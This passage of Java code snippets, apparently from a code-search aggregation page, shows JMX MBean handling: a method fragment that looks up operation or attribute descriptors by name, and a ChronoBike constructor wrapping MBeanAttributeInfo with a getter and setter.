  MBeanFeatureInfo[] featureInfos = null;
  if (isOp) {
    featureInfos = beanInfo.getOperations();
  } else {
    featureInfos = beanInfo.getAttributes();
  }
  // still look into the attributes/operations to see if it's defined in the method level
  for (MBeanFeatureInfo info : featureInfos) {
    if (info.getName().equals(featureName)) {
      // found the featureInfo of this method on the bean
      result = getOperationContext(info.getDescriptor(), result);
      break;
    }
  }
  return result;
}
项目:ChronoBike    文件:MBeanAttributeInfoWrapper.java   
public MBeanAttributeInfoWrapper(String csName, String csDescription, Method getter, Method setter)
{
    try
    {
        m_attribute = new MBeanAttributeInfo(csName, csDescription, getter, setter);
    } 
    catch (IntrospectionException e)
    {
        e.printStackTrace();
    }
    m_getter = getter;
    m_setter = setter;
}